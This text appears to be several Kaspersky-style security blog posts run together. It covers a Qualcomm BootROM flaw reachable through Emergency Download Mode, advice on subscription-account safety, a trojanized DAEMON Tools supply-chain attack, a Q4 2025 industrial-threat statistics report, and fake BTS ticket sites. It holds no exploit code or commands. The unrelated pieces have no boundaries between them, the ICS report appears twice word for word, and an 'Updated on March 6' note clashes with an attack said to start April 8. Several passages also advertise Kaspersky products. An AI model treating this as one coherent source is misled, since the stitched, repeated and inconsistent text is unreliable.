Imagine handing your smartphone over for repair. A couple of days later, you pick it up — and great, it’s working again! But you won’t even realize that your device has been injected with malicious code, allowing attackers to access your smartphone even when it’s locked.

This is the beginning of the story shared by Kaspersky ICS CERT researchers, Alexander Kozlov and Sergey Anufrienko, at the Black Hat Asia 2026 conference. They managed to uncover a vulnerability that flips conventional assumptions about smartphone and IoT security on their head. Its core lies at the very heart of Qualcomm chips.

What is BootROM?

To grasp the severity of this discovery, we first need to look at how a modern device powered by a Qualcomm chip boots up. Think of it as a fortress with multiple layers of security. Each subsequent layer verifies the pass issued by the previous one. The bedrock foundation — the most trusted layer of them all — is the BootROM, a read-only memory baked directly into the silicon that can’t be modified once it comes off the fab.

The BootROM is the very first thing to run when a device powers on. It verifies the signature of the next bootloader, which in turn verifies the next, building a chain of trust all the way up to the operating system. If an attacker can compromise this chain at the BootROM level, it’s game over: the malicious code will execute before the main operating system even has a chance to load.

This is exactly what attackers can do by exploiting the CVE-2026-25262 vulnerability discovered by Kaspersky ICS CERT researchers.

Emergency Download Mode as an entry point

The research began with a protocol called Sahara. This is a component of Emergency Download Mode (EDL). Manufacturers and service centers use it to revive bricked devices: the phone is connected to a computer via USB, and a special utility program signed by the manufacturer (in this case, Qualcomm) is uploaded to it.

Sahara is implemented directly within the ARM PBL (Primary Boot Loader) — the BootROM itself. This means the protocol runs before any operating system boots, before any user access privileges are checked, and before any security controls are activated. The device simply waits for a USB connection, ready to accept data.

The communication scheme looks simple: the device sends a handshake (HELLO) to the computer, the computer selects the mode, a cycle begins to upload the utility program in chunks, and finally, the device executes the uploaded code. And it was within the verification logic of these very file chunks that the vulnerability was identified.

Write-what-where: the core of the vulnerability

In technical terms, the bug introduced by the developers is classified as CWE-123: Write-What-Where Condition. This is about as bad as it gets when it comes to flaws in low-level programming. An attacker can write arbitrary data to an arbitrary address in the device memory.

Without diving too deep into the technical weeds, suffice it to say that by exploiting the discovered vulnerability, attackers can gain access to any data on the device, including user-entered passwords, files, contacts, geolocation data, as well as the hardware sensors like the camera and microphone. In certain scenarios, complete control over the device is possible. Just a few minutes of physical access to the device via a cable connection, and the gadget has been compromised. This creates a risk if you hand your smartphone over to a repair shop, pass it to someone else to set up and install apps on, or just leave it unattended.

Which devices are affected

The CVE-2026-25262 vulnerability affects the following Qualcomm chip series: MDM9x07, MDM9x45, MDM9x65, MSM8909, MSM8916, MSM8952, and SDX50 — every single version released to date, until the vulnerability is patched by the manufacturer.

These are no obsolete museum pieces. The MDM9207, which we used for the bulk of our research, is integrated into modem modules for the internet of things (IoT), industrial equipment, smart home devices, healthcare monitoring systems, logistics trackers, and banking terminals. The MSM8916 powers many budget smartphones, while the SDX50 is used in automotive control units.

How vulnerable devices get attacked

The catch is that the attacker needs physical access to the device to pull this off. In the real world, this translates to:

• Smartphone repairs at third-party repair shops, where the phone is left for several hours
• Customs checkpoints in certain countries, where devices are withheld, inspected, and then returned
• Lost and found scams, where your phone is stolen, tampered with, and then mysteriously found
• Corporate espionage via an insider or a rogue employee

With just a few minutes of physical access to the device an attacker can plant a backdoor so deep inside that standard research tools won’t even detect it in most cases.

Why there’s no patch — and what to do

Qualcomm was notified of the discovery in March 2025 and confirmed the vulnerability in its chips. To identify it, the vendor reserved CVE-2026-25262, and on April 20, 2026, Kaspersky ICS CERT published technical information on the vulnerability and recommendations for users.

Qualcomm included this vulnerability in its May security bulletin. While fixing already-made devices is fundamentally impossible, the company promised to make all future chips without this vulnerability.

If you currently own a device with an affected chip, use our recommendations below to help mitigate the risk of infection.

• Enforce strict physical control: don’t leave your devices unattended, especially when traveling or on business trips.
• Choose only authorized service centers for repairs and maintenance.
• Regularly update your firmware — this won’t patch the BootROM vulnerability, but it can eliminate many related vulnerabilities at higher levels.
• Use a Kaspersky for Android on your device. This will safeguard your gadget from other threats that, combined with this vulnerability, could lead to unpredictable consequences.

If you notice that your gadget with a vulnerable Qualcomm chip starts acting up — overheating when idle, reporting unexpected spikes in network traffic, or exhibiting strange app behavior — you may have fallen victim to this vulnerability. You can wipe the malicious code and reset your device to its baseline state simply by completely cutting its power. This means either pulling the battery or letting it drain all the way to zero until the gadget shuts down entirely. In this case, the malicious code will most likely not persist on the device — during our research, we were unable to confirm that it could achieve persistence in non-volatile memory.

Want to learn more about severe vulnerabilities in Android phones? Check out these posts:

• Attacks on 5G networks: the arms race continues
• Are geolocation services spying on you?
• Pixnapping vulnerability: unblockable screenshots of your Android phone
• Data theft during smartphone charging
• Trojan embedded in fake Android smartphones

Have you ever tried to tally up how much you spend on subscriptions each month? Music, movies, gaming, language courses, delivery services, heated seats, and even the ability to chat with the Grok bot directly from your car — there’s a subscription for just about everything now. There’s even a subscription service specifically designed to… track your other subscriptions.

The number of subscriptions varies significantly depending on where you live, but statistically, 78% of adults worldwide have at least one paid subscription, with the average user juggling 5.6 active services. Furthermore, a large portion of these are family plans used by groups of close relatives… and sometimes other people: 37% of users share their subscriptions outside their immediate family.

Because subscription accounts, especially family plans, often contain sensitive personal data, they’ve become a prime target for cybercriminals. Today we look at how to manage your subscriptions securely, avoid having your accounts compromised, and keep from falling for scammers’ latest tricks.

Security of shared accounts and subscriptions

Why would anyone want to hack your subscription? Even if the service only offers entertainment, your account almost certainly contains sensitive information: your name, address, email, phone number, the names of other members, and other personally identifiable information. This data is then sold on the dark web and used for further attacks.

Attackers compromise subscription accounts either through social engineering and phishing, or by taking advantage of many users’ reliance on weak or leaked passwords. As we recently highlighted in our research, nearly half of all passwords worldwide can be cracked in less than a minute. Scammers then either resell existing subscriptions or slots in a family group at a discount, or they sign the victim up for new services, hoping the extra charges go unnoticed.

Finally, some middlemen don’t bother with hacking at all; they simply buy bulk subscriptions for a large number of devices, where the per-unit cost is typically much lower. They then resell individual slots in these plans on online marketplaces. As a result, a single “family” account can end up filled with people who are complete strangers to one another.

Sharing subscriptions with family and others

Many subscription owners think nothing of sharing access with family and friends. What could possibly go wrong?

The worst-case scenario from a security standpoint is when a single account is purchased and the owner shares the login and password with other users. This usually happens when people try to save money on a family plan by buying an individual subscription and sharing it. Some services even allow for different profiles, but they are all tied to a single account, meaning the credentials are shared. This is how streaming platforms like Hulu and Disney+ operate.

Sharing one account among multiple people significantly increases the risk of your credentials falling into the wrong hands. There’s no way to guarantee that everyone else is storing those details securely or that their devices aren’t infected with malware. Even without malware, it’s incredibly easy to accidentally hand over a password to attackers simply by signing in to the subscription service over unprotected public Wi-Fi.

It’s entirely possible that the password you kindly shared with some friends has already surfaced in some corner of the dark web, and you may soon lose access to your account. Furthermore, if you reuse the same password across different sites and apps, your other accounts are now in the crosshairs as well.

The second scenario is when each group member has an individual account. Many services now allow you to add extra users to a subscription at no additional cost, and most owners are happy to give away these free slots. Even then, you shouldn’t let your guard down: a breach of just one of these accounts can still leak sensitive information, such as family members’ names, addresses, billing info, and other subscription-related data.

How to protect your subscriptions (and your wallet)

To keep your and your loved ones’ personal data private and your accounts under your control, follow these simple rules.

Use strong account security

To do this, learn — and teach your friends and family — how to use password managers, two-factor authentication, or passkeys.

If you and your loved ones rely on memory to store passwords, there’s a high probability that you’re reusing the same one across multiple services. This is a major blunder: data breaches happen all the time, and a single compromised password gives attackers access to your other accounts.

The simplest solution is to use a password manager that generates and remembers complex, unique passwords for every site and service on your behalf. All you have to do is remember the single main password for its encrypted vault. Additionally, Kaspersky Password Manager doesn’t just store and create passwords; it can also check if they’ve appeared in leaked databases, and sync your credentials across all your devices.

Additionally, a password manager provides a robust defense against phishing: unlike a human, who can easily be misled by a sign-in form that looks almost identical to the real thing and is hosted on a look-alike domain, a password manager won’t fall for the trick. It’ll only offer to autofill your saved login and password on the specific site or service for which they were originally stored.

Avoid using browsers to store your passwords: unfortunately, attackers have long figured out how to extract browser-saved passwords in a matter of seconds.

Two-factor authentication (2FA) is an extra layer of verification the system requests after you enter your password — such as an SMS code or a one-time code from an authenticator app. Whenever technically possible, be sure to enable 2FA on every account linked to a subscription. This applies to the subscription services themselves, as well as any third-party accounts you use to sign in, such as Google, Apple, or Facebook.

We recommend storing your two-factor authentication tokens and generating the one-time codes — which refresh every 30 seconds — inside Kaspersky Password Manager. This significantly lowers the chances of someone hijacking your account. Even if an attacker somehow discovers or guesses your password, they won’t be able to get the code without physical access to your device.

Finally, you can ditch passwords (almost) entirely by switching to passkeys. We’ve previously covered what this password alternative looks like and the specifics of using it. Currently, this is the most breach-resistant authentication system out there. Its main drawback has been the difficulty of syncing passkeys across different ecosystems, like Windows and iOS, but the updated version of Kaspersky Password Manager can now save and sync passkeys across Windows, macOS, iOS, and Android devices, making that issue a thing of the past.

Don’t overlook device security

Even a complex password and 2FA aren’t reasons to let your guard down. An attacker can infect your device with an infostealer: malware designed to swipe things like session cookies from your browser, app configuration files, and other sensitive data. Session cookies allow you to stay signed in without re-entering your credentials every time; however, if scammers get their hands on them, they can sign in to the service as you — even without knowing your username or password. This makes a proactive approach essential, especially if you use Chrome, Edge, Opera, or other Chromium-based browsers on Windows. We recommend installing Kaspersky Premium on all your devices; it includes Kaspersky Password Manager in addition to comprehensive protection against cyberthreats.

Only share subscriptions with people you trust

Otherwise, you might be asking for trouble. For example, if you share a Steam subscription with a friend who cheats, both of your accounts could end up banned. Furthermore, never try to let someone else into your personal account or individual subscription. Sharing your password with others is usually a violation of the terms of service, and can result in your account being blocked.

Make sure there are no strangers in your family group

To do this, periodically check active devices and sessions in your subscription settings. If you see an unrecognized device in the authorized list, terminate that session — or all of them — and change your account password immediately. Signing back in on a few devices is much easier than trying to recover a hijacked account.

And remember: don’t let your own habits compromise your security. If you’re visiting friends, on vacation, or on a business trip and use a local computer or smart TV — or if you sign in to your account from a public computer — don’t forget to sign out when you’re done. Otherwise, the next person to use that device might find themselves with free subscriptions or, even worse, access to your email or cloud photo stream.

Don’t take the bait

Watch out for phishing emails and messages spoofing legitimate services. If you receive a notification about a “need to update your billing details”, or a claim that a “new user has been added” to your family plan, don’t rush to click any links or open attachments. Links can lead to a phishing page, and attachments may hide malware. Scammers often use email addresses and domains that look nearly identical to the real ones — for instance, by swapping l (lowercase L) for I (uppercase i), or using a familiar name in a different domain zone.

Unfortunately, phishing pages are often indistinguishable from the originals now that AI is being used for high-quality design and layout. Since spotting every red flag yourself is increasingly difficult, it’s best to delegate anti-phishing protection to Kaspersky Premium. It will alert you to suspicious sites, saving your money and keeping your peace of mind.

Lastly, some scammers lure users in with freebies like fake gift subscriptions for Telegram Premium. The victim is asked to visit a phishing page mimicking the Telegram login screen and sign in to their account to claim the gift. The result isn’t hard to guess: instead of a premium subscription — a hijacked account. Recently, scammers have even learned to use mini-apps to steal credentials directly inside Telegram under various pretexts — ranging from gift giveaways to claims that you must move to a new chat because the old one was blocked.

Avoid buying subscriptions from third-party sellers

You can often find subscription offers on marketplaces and retail platforms at prices significantly lower than what the official provider charges. More likely than not, that tempting price hides a hacked account or a family group that you could be kicked out of at any moment, because the family admin is either the seller or a random user. Furthermore, sharing a family plan with strangers from around the world is a violation of terms for many services.

How to get rid of unwanted subscriptions

Now that we’ve covered subscription security, what about those extra subscriptions that quietly eat away at your balance every month? Research shows that users typically underestimate how many active subscriptions they have and how much they spend on them; they also frequently forget to cancel auto-renewals for subscriptions they no longer use, or auto-charges after the trial period ends.

If you suspect you’re in that boat, start your investigation with your own bank statements. Recurring charges for the same amount can be a subscription you’ve forgotten about. Check who received the payment; if the name doesn’t ring a bell, do an online search on the company. It’s also worth searching your email box for the merchant name or the payment amount; this can help you track down subscription notifications and figure out what exactly you’re paying for. And don’t forget to check your spam folder, as that’s where subscription alerts often end up.

Now, let’s look at how to check and cancel active subscriptions purchased through the App Store and Google Play.

For Android users

1. Open Settings on your device.
2. Tap Google, then tap your profile picture, and go to Google Account.
3. Go to Wallet & subscriptions.

If you’re the family group manager, you’ll be able to see the purchase history for other family members.

For iOS users

1. Open Settings on your device.
2. Tap your profile picture at the top of the menu.
3. Go to Subscriptions.

Note: to manage your iCloud subscription, you’ll need to go to the specific iCloud section located just below Subscriptions. In the Family Sharing section, if you’re the one who set it up, you can view the subscription and purchase history for all family members.

Read more on subscriptions:

• You’ve been sent a “gift” — a Telegram Premium subscription
• How to share subscriptions without tears
• How to control your subscriptions and save money
• Meet the Trojan subscribers hungry to sign you up

Our experts have discovered a large-scale supply chain attack via DAEMON Tools – software for emulating optical drives. The attackers managed to inject malicious code into the software installers, and all trojanized executable files are signed with a valid digital signature of AVB Disc Soft – the developer of DAEMON Tools. The malicious version of the program has been circulating since April 8, 2026. At the time of writing, the attack is still ongoing. Researchers at Kaspersky believe this is a targeted attack.

What are the risks of installing the malicious version of DAEMON Tools?

After the Trojanized software is installed on the victim’s computer, a malicious file is launched every time the system starts up – sending a request to a command-and-control server. In response, the server may send a command to download and execute additional malicious payloads.

First, the attackers deploy an information gatherer that collects the MAC address, hostname, DNS domain name, lists of running processes and installed software, and language settings. The malware then sends this information to the command-and-control server.

In some cases, in response to the collected information, the command server sends a minimalistic backdoor to the victim’s machine. It’s capable of downloading additional malicious payloads, executing shell commands, and running shellcode modules in memory.

The backdoor can be used to deploy a more sophisticated implant dubbed as QUIC RAT. It supports multiple communication protocols with the command-and-control server, and is capable of injecting malicious payloads into the notepad.exe and conhost.exe processes.

More detailed technical information, along with indicators of compromise, can be found in the experts’ article on the Securelist blog.

Who’s being targeted?

Since early April, several thousand attempts to install additional malicious payloads via infected DAEMON Tools software have been detected. Most of the infected devices belonged to home users, but approximately 10% of installation attempts were detected on systems running in organizations. Geographically, the victims were spread across around a hundred different countries and territories. Most victims were located in Russia, Brazil, Turkey, Spain, Germany, France, Italy, and China.

Most often, the attack was limited to installing an information collector. The backdoor infected only a dozen machines in government, scientific, and manufacturing organizations, as well as in retail businesses in Russia, Belarus, and Thailand.

What exactly was infected

The malicious code was detected in DAEMON Tools versions ranging from 12.5.0.2421 to 12.5.0.2434. The attackers compromised the files DTHelper.exe, DiscSoftBusServiceLite.exe, and DTShellHlp.exe, which are installed in the main DAEMON Tools directory.

Updated on March 6: Following disclosure, the vendor acknowledged the issue and published a new version of the software to address it. The updated DAEMON Tools version 12.6.0.2445 no longer shows the malicious behavior described in this article.

How to stay safe?

If DAEMON Tools software is used on your computer (or elsewhere in your organization), our experts recommend thoroughly checking the computers on which it is installed for any unusual activity starting from April 8.

In addition, we recommend using reliable security solutions on all home and corporate computers used to access the internet. Our solutions successfully protect users from all malware used in the supply chain attack via DAEMON Tools.

Statistics across all threats

The percentage of ICS computers on which malicious objects were blocked has been decreasing since the beginning of 2024. In Q4 2025, it was 19.7%. Over the past three years, the percentage has decreased by 1.36 times, and by 1.25 times since Q4 2023.

Regionally, in Q4 2025, the percentage of ICS computers on which malicious objects were blocked ranged from 8.5% in Northern Europe to 27.3% in Africa.

Four regions saw an increase in the percentage of ICS computers on which malicious objects were blocked. The most notable increases occurred in Southern Europe and South Asia. In Q3 2025, East Asia experienced a sharp increase triggered by the local spread of malicious scripts, but the figure has since returned to normal.

Feature of the quarter: worms in email

In Q4 2025, the percentage of ICS computers on which wormsinemailattachments were blocked increasedinallregions of the world.

Many of the blocked threats were related to the worm Backdoor.MSIL.XWorm. This malware is designed to persist on the system and then remotely control it.

Interestingly, this threat was not detected on ICS computers in the previous quarter, yet it appeared in all regions in Q4 2025.

A study found that the active spread of Backdoor.MSIL.XWorm via phishing emails was likely linked to the use by hackers of another malware obfuscation technique that was actively used during massive phishing campaigns in Q4 2025. These campaigns have been known since 2024 as “Curriculum-vitae-catalina”.

The attackers distributed phishing emails to HR managers, recruiters, and employees responsible for hiring. The messages were disguised as responses from job applicants with subjects such as “Resume” or “Attached Resume” and contained a malicious executable file under the guise of a curriculum vitae. Typically, the file was named Curriculum Vitae-Catalina.exe. When executed, it infected the system.

In Q4 2025, the threat spread across regions in two waves — one in October and another in November. Russia, Western Europe, South America, and North America (Canada) were attacked in October. A spike in Backdoor.MSIL.XWorm blocking was observed in other regions in November. The attack subsided in all regions in December.

The highest percentage of ICS computers on which Backdoor.MSIL.XWorm was blocked was observed in regions where threats from email clients had been historically blocked at high rates on ICS computers: Southern Europe, South America, and the Middle East.

At the same time, in Africa, where USB storage media are still actively used, the threat was also detected when removable devices were connected to ICS computers.

Selected industries

The biometrics sector has historically led the rankings of industries and OT infrastructures surveyed in this report in terms of the percentage of ICS computers on which malicious objects were blocked.

These systems are characterized by accessibility to and from the internet, as well as minimal cybersecurity controls by the consumer organization.

In Q4 2025, the percentage of ICS computers on which malicious objects were blocked increased only in one sector: oil and gas. The corresponding figures increased in two regions: Russia, and Central Asia and the South Caucasus.

However, if we look at a broader time span, there is a downward trend in all the surveyed industries.

Diversity of detected malicious objects

In Q4 2025, Kaspersky protection solutions blocked malware from 10,142 different malware families of various categories on industrial automation systems.

In Q4 2025, there was an increase in the percentage of ICS computers on which worms, and miners in the form of executable files for Windows were blocked. These were the only categories that exhibited an increase.

Main threat sources

Depending on the threat detection and blocking scenario, it is not always possible to reliably identify the source. The circumstantial evidence for a specific source can be the blocked threat’s type (category).

The internet (visiting malicious or compromised internet resources; malicious content distributed via messengers; cloud data storage and processing services and CDNs), email clients (phishing emails), and removable storage devices remain the primary sources of threats to computers in an organization’s technology infrastructure.

In Q4 2025, the percentage of ICS computers on which malicious objects from various sources were blocked decreased. All sources except email clients saw their lowest levels in three years.

The same computer can be attacked by several categories of malware from the same source during a quarter. That computer is counted when calculating the percentage of attacked computers for each threat category, but is only counted once for the threat source (we count unique attacked computers). In addition, it is not always possible to accurately determine the initial infection attempt. Therefore, the total percentage of ICS computers on which various categories of threats from a certain source were blocked can exceed the percentage of computers affected by the source itself.

• In Q4 2025, the percentage of ICS computers on which threats from the internet were blocked decreased to 7.67% and reached its lowest level since the beginning of 2023. The main categories of internet threats are malicious scripts and phishing pages, and denylisted internet resources. The percentage ranged from 3.96% in Northern Europe to 11.33% in South Asia.
• The main categories of threats from email clients blocked on ICS computers were malicious scripts and phishing pages, spyware, and malicious documents. Most of the spyware detected in phishing emails was delivered as a password archive or a multi-layered script embedded in office document files. The percentage of ICS computers on which threats from email clients were blocked ranged from 0.64% in Northern Europe to 6.34% in Southern Europe.
• The main categories of threats that were blocked when removable media was connected to ICS computers were worms, viruses, and spyware. The percentage of ICS computers on which threats from removable media were blocked ranged from 0.05% in Australia and New Zealand to 1.41% in Africa.
• The main categories of threats that spread through network folders in Q4 2025 were viruses, AutoCAD malware, worms, and spyware. The percentage of ICS computers on which threats from network folders were blocked ranged from 0.01% in Northern Europe to 0.18% in East Asia.

Threat categories

Typical attacks blocked within an OT network are multi-step sequences of malicious activities, where each subsequent step of the attackers is aimed at increasing privileges and/or gaining access to other systems by exploiting the security problems of industrial enterprises, including OT infrastructures.

Malicious objects used for initial infection

In Q4 2025, the percentage of ICS computers on which denylisted internet resources were blocked decreased to 3.26%. This is the lowest quarterly figure since the beginning of 2022, and it has decreased by 1.8 times since Q2 2025.

Regionally, the percentage of ICS computers on which denylisted internet resources were blocked ranged from 1.74% in Northern Europe to 3.93% in Southeast Asia, which displaced Africa from first place. Russia rounded out the top three regions for this indicator.

The percentage of ICS computers on which malicious documents were blocked increased for three consecutive quarters. However, in Q4 2025 it decreased by 0.22 pp to 1.76%.

Regionally, the percentage ranged from 0.46% in Northern Europe to 3.82% in Southern Europe. In Q4 2025, the indicator increased in Eastern Europe, Russia, and Western Europe.

The percentage of ICS computers on which malicious scripts and phishing pages were blocked decreased to 6.58%. Despite the decline, this category led the rankings of threat categories in terms of the percentage of ICS computers on which they were blocked.

Regionally, the percentage ranged from 2.52% in Northern Europe to 10.50% in South Asia. The indicator increased in South Asia, South America, Southern Europe, and Africa. South Asia saw the most notable increase, at 3.47 pp.

Next-stage malware

Malicious objects used to initially infect computers deliver next-stage malware — spyware, ransomware, and miners — to victims’ computers. As a rule, the higher the percentage of ICS computers on which the initial infection malware is blocked, the higher the percentage for next-stage malware.

In Q4 2025, the percentage of ICS computers on which spyware, ransomware and web miners were blocked decreased. The rates were:

• Spyware: 3.80% (down 0.24 pp). For the second quarter in a row, spyware took second place in the rankings of threat categories in terms of the percentage of ICS computers on which it was blocked.
• Ransomware: 0.16% (down 0.01 pp).
• Web miners: 0.24% (down 0.01 pp), this is the lowest level observed thus far in the period under review.

The percentage of ICS computers on which miners in the form of executable files for Windows were blocked increased to 0.60% (up 0.03 pp).

Self-propagating malware

Self-propagating malware (worms and viruses) is a category unto itself. Worms and virus-infected files were originally used for initial infection, but as botnet functionality evolved, they took on next-stage characteristics.

To spread across ICS networks, viruses and worms rely on removable media and network folders and are distributed in the form of infected files, such as archives with backups, office documents, pirated games and hacked applications. In rarer and more dangerous cases, web pages with network equipment settings, as well as files stored in internal document management systems, product lifecycle management (PLM) systems, resource management (ERP) systems and other web services are infected.

In Q4 2025, the percentage of ICS computers on which worms were blocked increased by 1.6 times to 1.60%. As mentioned above, this increase is related to a global phishing attack that spread the Backdoor.MSIL.XWorm backdoor worm across all regions of the world. The percentage increased in all regions. The biggest increase (up by 2.16 times) was in Southern Europe. The malware was primary distributed through email clients, and Southern Europe led the way in terms of the percentage of ICS computers on which threats from email clients were blocked.

The percentage of ICS computers on which viruses were blocked decreased to 1.33%.

AutoCAD malware

This category of malware can spread in a variety of ways, so it does not belong to a specific group.

After an increase in the previous quarter, the percentage of ICS computers on which AutoCAD malware was blocked decreased to 0.29% in Q4 2025.

For more information on industrial threats see the full version of the report.

Statistics across all threats

The percentage of ICS computers on which malicious objects were blocked has been decreasing since the beginning of 2024. In Q4 2025, it was 19.7%. Over the past three years, the percentage has decreased by 1.36 times, and by 1.25 times since Q4 2023.

Regionally, in Q4 2025, the percentage of ICS computers on which malicious objects were blocked ranged from 8.5% in Northern Europe to 27.3% in Africa.

Four regions saw an increase in the percentage of ICS computers on which malicious objects were blocked. The most notable increases occurred in Southern Europe and South Asia. In Q3 2025, East Asia experienced a sharp increase triggered by the local spread of malicious scripts, but the figure has since returned to normal.

Feature of the quarter: worms in email

In Q4 2025, the percentage of ICS computers on which wormsinemailattachments were blocked increasedinallregions of the world.

Many of the blocked threats were related to the worm Backdoor.MSIL.XWorm. This malware is designed to persist on the system and then remotely control it.

Interestingly, this threat was not detected on ICS computers in the previous quarter, yet it appeared in all regions in Q4 2025.

A study found that the active spread of Backdoor.MSIL.XWorm via phishing emails was likely linked to the use by hackers of another malware obfuscation technique that was actively used during massive phishing campaigns in Q4 2025. These campaigns have been known since 2024 as “Curriculum-vitae-catalina”.

The attackers distributed phishing emails to HR managers, recruiters, and employees responsible for hiring. The messages were disguised as responses from job applicants with subjects such as “Resume” or “Attached Resume” and contained a malicious executable file under the guise of a curriculum vitae. Typically, the file was named Curriculum Vitae-Catalina.exe. When executed, it infected the system.

In Q4 2025, the threat spread across regions in two waves — one in October and another in November. Russia, Western Europe, South America, and North America (Canada) were attacked in October. A spike in Backdoor.MSIL.XWorm blocking was observed in other regions in November. The attack subsided in all regions in December.

The highest percentage of ICS computers on which Backdoor.MSIL.XWorm was blocked was observed in regions where threats from email clients had been historically blocked at high rates on ICS computers: Southern Europe, South America, and the Middle East.

At the same time, in Africa, where USB storage media are still actively used, the threat was also detected when removable devices were connected to ICS computers.

Selected industries

The biometrics sector has historically led the rankings of industries and OT infrastructures surveyed in this report in terms of the percentage of ICS computers on which malicious objects were blocked.

These systems are characterized by accessibility to and from the internet, as well as minimal cybersecurity controls by the consumer organization.

In Q4 2025, the percentage of ICS computers on which malicious objects were blocked increased only in one sector: oil and gas. The corresponding figures increased in two regions: Russia, and Central Asia and the South Caucasus.

However, if we look at a broader time span, there is a downward trend in all the surveyed industries.

Diversity of detected malicious objects

In Q4 2025, Kaspersky protection solutions blocked malware from 10,142 different malware families of various categories on industrial automation systems.

In Q4 2025, there was an increase in the percentage of ICS computers on which worms, and miners in the form of executable files for Windows were blocked. These were the only categories that exhibited an increase.

Main threat sources

Depending on the threat detection and blocking scenario, it is not always possible to reliably identify the source. The circumstantial evidence for a specific source can be the blocked threat’s type (category).

The internet (visiting malicious or compromised internet resources; malicious content distributed via messengers; cloud data storage and processing services and CDNs), email clients (phishing emails), and removable storage devices remain the primary sources of threats to computers in an organization’s technology infrastructure.

In Q4 2025, the percentage of ICS computers on which malicious objects from various sources were blocked decreased. All sources except email clients saw their lowest levels in three years.

The same computer can be attacked by several categories of malware from the same source during a quarter. That computer is counted when calculating the percentage of attacked computers for each threat category, but is only counted once for the threat source (we count unique attacked computers). In addition, it is not always possible to accurately determine the initial infection attempt. Therefore, the total percentage of ICS computers on which various categories of threats from a certain source were blocked can exceed the percentage of computers affected by the source itself.

• In Q4 2025, the percentage of ICS computers on which threats from the internet were blocked decreased to 7.67% and reached its lowest level since the beginning of 2023. The main categories of internet threats are malicious scripts and phishing pages, and denylisted internet resources. The percentage ranged from 3.96% in Northern Europe to 11.33% in South Asia.
• The main categories of threats from email clients blocked on ICS computers were malicious scripts and phishing pages, spyware, and malicious documents. Most of the spyware detected in phishing emails was delivered as a password archive or a multi-layered script embedded in office document files. The percentage of ICS computers on which threats from email clients were blocked ranged from 0.64% in Northern Europe to 6.34% in Southern Europe.
• The main categories of threats that were blocked when removable media was connected to ICS computers were worms, viruses, and spyware. The percentage of ICS computers on which threats from removable media were blocked ranged from 0.05% in Australia and New Zealand to 1.41% in Africa.
• The main categories of threats that spread through network folders in Q4 2025 were viruses, AutoCAD malware, worms, and spyware. The percentage of ICS computers on which threats from network folders were blocked ranged from 0.01% in Northern Europe to 0.18% in East Asia.

Threat categories

Typical attacks blocked within an OT network are multi-step sequences of malicious activities, where each subsequent step of the attackers is aimed at increasing privileges and/or gaining access to other systems by exploiting the security problems of industrial enterprises, including OT infrastructures.

Malicious objects used for initial infection

In Q4 2025, the percentage of ICS computers on which denylisted internet resources were blocked decreased to 3.26%. This is the lowest quarterly figure since the beginning of 2022, and it has decreased by 1.8 times since Q2 2025.

Regionally, the percentage of ICS computers on which denylisted internet resources were blocked ranged from 1.74% in Northern Europe to 3.93% in Southeast Asia, which displaced Africa from first place. Russia rounded out the top three regions for this indicator.

The percentage of ICS computers on which malicious documents were blocked increased for three consecutive quarters. However, in Q4 2025 it decreased by 0.22 pp to 1.76%.

Regionally, the percentage ranged from 0.46% in Northern Europe to 3.82% in Southern Europe. In Q4 2025, the indicator increased in Eastern Europe, Russia, and Western Europe.

The percentage of ICS computers on which malicious scripts and phishing pages were blocked decreased to 6.58%. Despite the decline, this category led the rankings of threat categories in terms of the percentage of ICS computers on which they were blocked.

Regionally, the percentage ranged from 2.52% in Northern Europe to 10.50% in South Asia. The indicator increased in South Asia, South America, Southern Europe, and Africa. South Asia saw the most notable increase, at 3.47 pp.

Next-stage malware

Malicious objects used to initially infect computers deliver next-stage malware — spyware, ransomware, and miners — to victims’ computers. As a rule, the higher the percentage of ICS computers on which the initial infection malware is blocked, the higher the percentage for next-stage malware.

In Q4 2025, the percentage of ICS computers on which spyware, ransomware and web miners were blocked decreased. The rates were:

• Spyware: 3.80% (down 0.24 pp). For the second quarter in a row, spyware took second place in the rankings of threat categories in terms of the percentage of ICS computers on which it was blocked.
• Ransomware: 0.16% (down 0.01 pp).
• Web miners: 0.24% (down 0.01 pp), this is the lowest level observed thus far in the period under review.

The percentage of ICS computers on which miners in the form of executable files for Windows were blocked increased to 0.60% (up 0.03 pp).

Self-propagating malware

Self-propagating malware (worms and viruses) is a category unto itself. Worms and virus-infected files were originally used for initial infection, but as botnet functionality evolved, they took on next-stage characteristics.

To spread across ICS networks, viruses and worms rely on removable media and network folders and are distributed in the form of infected files, such as archives with backups, office documents, pirated games and hacked applications. In rarer and more dangerous cases, web pages with network equipment settings, as well as files stored in internal document management systems, product lifecycle management (PLM) systems, resource management (ERP) systems and other web services are infected.

In Q4 2025, the percentage of ICS computers on which worms were blocked increased by 1.6 times to 1.60%. As mentioned above, this increase is related to a global phishing attack that spread the Backdoor.MSIL.XWorm backdoor worm across all regions of the world. The percentage increased in all regions. The biggest increase (up by 2.16 times) was in Southern Europe. The malware was primary distributed through email clients, and Southern Europe led the way in terms of the percentage of ICS computers on which threats from email clients were blocked.

The percentage of ICS computers on which viruses were blocked decreased to 1.33%.

AutoCAD malware

This category of malware can spread in a variety of ways, so it does not belong to a specific group.

After an increase in the previous quarter, the percentage of ICS computers on which AutoCAD malware was blocked decreased to 0.29% in Q4 2025.

For more information on industrial threats see the full version of the report.

BTS, a global K-pop phenomenon, has recently made a comeback from an almost four-year hiatus: the members of the group were completing mandatory military service in South Korea. For this reason it comes as no surprise that cybercriminals have taken advantage of the band’s highly anticipated world-tour — ARIRANG — to launch a campaign of fake websites targeting fans eager to buy tickets.

We’ve identified at least 10 fraudulent domains that mimic the official pre‑sale pages for the band’s concerts in Argentina, Brazil, Chile, Colombia, France, Mexico, Peru, Portugal, and Spain — all created in early April. We explain how the scammers operate, and how to avoid buying fake tickets.

How the fake ticket scam works

Due to the high demand for the world-tour tickets, some of the event organizers prepared additional measures to ensure there are no ticket scalpers. In Brazil, the ticketing services adopted a “pre‑booking” format: the user first makes an online reservation, and then pays in person at the box office. Although in essence a good idea, the change has caused confusion among fans and created an opportunity for criminals to commit fraud.

Scammers create pages that are nearly identical to the official ones, replicating the layout, design, and the entire purchasing journey. For ordinary users, the experience seems completely legitimate. The links to these websites are circulating on social media — mainly on Instagram.

In Brazil, victims are prompted to make payments via PIX — an instant payment system operated by the Central Bank of Brazil. In some cases, the sites even simulate a card‑payment option, but claim high demand or system errors to pressure users into choosing PIX. PIX payments are then directed to money mule accounts — making it difficult to recover the funds.

The scam is a perfect example of how social engineering works. It exploits a massive and highly engaged fanbase — leading many users to act impulsively. The fake “errors” that the website displays during payment create a sense of urgency and cause panic — the scammers are well aware of how quickly BTS tickets sell out. In addition, doubts about the new purchasing system established by the event organizers help criminals make fake websites even more convincing.

